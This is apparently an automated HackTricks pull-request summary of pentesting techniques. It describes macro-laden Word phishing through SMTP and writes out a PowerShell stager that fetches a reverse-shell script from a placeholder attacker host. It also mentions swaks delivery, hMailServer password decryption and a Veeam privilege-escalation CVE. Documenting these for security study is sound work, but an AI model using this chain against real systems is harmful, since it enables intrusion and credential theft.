🔧 Technical Details

A realistic initial-access technique is to abuse an exposed SMTP server and a business workflow (e.g., HR resume intake) by emailing a Word document containing a VBA AutoOpen macro. The macro can execute Shell to launch PowerShell with -ep bypass and use an in-memory stager such as iex(iwr http://ATTACKER/shell.ps1 -usebasicparsing), where shell.ps1 is hosted on an attacker-controlled web server and returns a reverse shell payload.

When using swaks for delivery, ensure the attachment is the file contents by using --attach @file.doc (the @ causes the local shell to pass the bytes of the document rather than the literal filename), enabling reliable SMTP delivery of the malicious document.

If a Windows host runs hMailServer, a post-compromise credential-recovery pattern is to locate the configuration/registry where the mail database password is stored encrypted ...

🤖 Agent Actions

Updated HackTricks with new techniques from the JobTwo blog:

• Enhanced phishing macros page with a concise AutoOpen PowerShell stager example and reference.
• Added swaks attachment handling and incorporated the blog reference into SMTP pentesting guidance.
• Documented hMailServer credential decryption (static Blowfish key) and SQL CE access workflow in Windows credential theft.
• Added Veeam Backup & Replication CVE-2023-27532 SYSTEM exploit notes to Windows LPE, plus references.

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.